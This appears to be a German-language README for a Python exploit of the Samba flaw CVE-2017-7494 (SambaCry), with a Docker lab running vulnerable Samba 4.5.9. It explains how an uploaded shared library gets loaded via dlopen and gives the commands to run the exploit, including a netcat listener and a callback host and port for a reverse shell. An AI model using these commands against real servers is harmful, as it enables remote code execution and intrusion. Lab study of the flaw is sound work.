
Python-Exploit für CVE-2017-7494 (SambaCry), der authentifizierte Remote-Codeausführung demonstriert, indem er eine schädliche Shared Library auf eine Samba-Freigabe hochlädt und deren Laden mittels dlopen auslöst.
CVE-2017-7494/SambaCry ermöglicht es authentifizierten Benutzern, eine gemeinsame Bibliothek in einen beschreibbaren Ordner hochzuladen und mithilfe der hochgeladenen Bibliotheken einen Ausführungsangriff durchzuführen.
SambaCry ist eine Pfadvalidierungsschwachstelle in der Art und Weise, wie Samba Named-Pipe-Anfragen verarbeitet. Normalerweise werden diese Pipes verwendet, um Programmen die Kommunikation untereinander zu ermöglichen, indem sie Daten über einen dateiähnlichen Kanal lesen und schreiben.
Wenn Samba einen unbekannten Pipe-Namen empfängt, können verwundbare Versionen diesen als Namen eines dynamisch ladbaren Moduls behandeln.
Diese Module sind normalerweise legitime .so-Bibliotheken, die vom Administrator installiert wurden.
Die Schwachstelle erlaubt es einem Client, anstelle eines normalen Modul- oder Pipe-Namens einen absoluten Dateisystempfad anzugeben. Samba schränkt diesen Pfad nicht ordnungsgemäß ein und kann effektiv Folgendes ausführen: dlopen("/data/example.so", ...);.
Das Laden einer gemeinsamen Bibliothek führt deren Initialisierungscode aus. Daher kann ein Angreifer, der eine bösartige .so-Datei an einen beschreibbaren Speicherort hochladen kann, den Samba-Dienst dazu veranlassen, diese zu laden, was zu Remote-Codeausführung führt.
https://github.com/user-attachments/assets/270c6725-708d-4e72-996a-b6c40e77f010
nc -lvnp 4444
python3 exploit.py --url //127.0.0.1/data --target 127.0.0.1 --port 1445 --user sambacry --password nosambanocry --lhost 172.26.242.223 --lport 4444 --remote-path /data/payload.so
Um eine bereits hochgeladene Payload auszulösen:
python3 exploit.py --stages trigger --target 127.0.0.1 --port 1445 --user sambacry --password nosambanocry --remote-path /data/payload.so
Verwendung der vorgefertigten docker-compose.yml zur Initialisierung des verwundbaren Labors.
docker compose up -d
Das Labor verwendet Samba 4.5.9, das durch die Schwachstelle verwundbar ist.
3.5.0 - 4.4.13 4.5.0 - 4.5.9 4.6.0 - 4.6.3